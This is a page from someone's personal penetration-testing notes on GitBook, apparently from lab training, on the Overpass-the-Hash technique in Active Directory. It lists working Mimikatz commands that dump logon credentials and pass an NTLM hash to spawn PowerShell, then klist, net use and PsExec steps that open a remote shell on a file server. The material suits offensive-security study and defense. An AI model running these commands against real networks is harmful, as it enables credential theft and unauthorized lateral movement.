TamaGorengs Notes
  • 👨‍💻Whoami
  • 🗺️Active Directory
    • Active Directory Enumeration
    • AD Reconnaissance
      • LDAP
    • Movement
      • Kerberos
        • ASREProast
        • Pass The Hash
        • Pass The Ticket
        • Overpass The Hash
      • Credential
        • Dumping
          • DCSync
      • WMI and WinRM
  • 🪟Windows
    • Windows Privilege Escalation
      • WinPrivEsc Enumeration
      • Leveraging Windows Services
      • Abusing Other Windows Components
    • RDP
  • 🐧Linux
    • Linux Privilege Escalation
      • LinuxPrivEsc Enumeration
      • Exposed Confidential Information
      • Insecure File Permissions
      • Insecure System Components
  • 🕸️Web Application
    • SQL Injection
  • Group 1
    • Client-Side Attacks
      • Windows Library Files
      • Exploiting Microsoft Office
Powered by GitBook
On this page

Was this helpful?

  1. Active Directory
  2. Movement
  3. Kerberos

Overpass The Hash

Mimikatz

privilege::debug
sekurlsa::logonpasswords

Need username and NTLM hashes

sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell

Use klist to list cached Kerberos tickets

klist

Try authenticate to any fileshare

net use \\files04

Check klist again

klist

We can now use psexec.exe to authenticate

.\PsExec.exe \\files04 cmd
PreviousPass The TicketNextCredential

Last updated 2 months ago

Was this helpful?

🗺️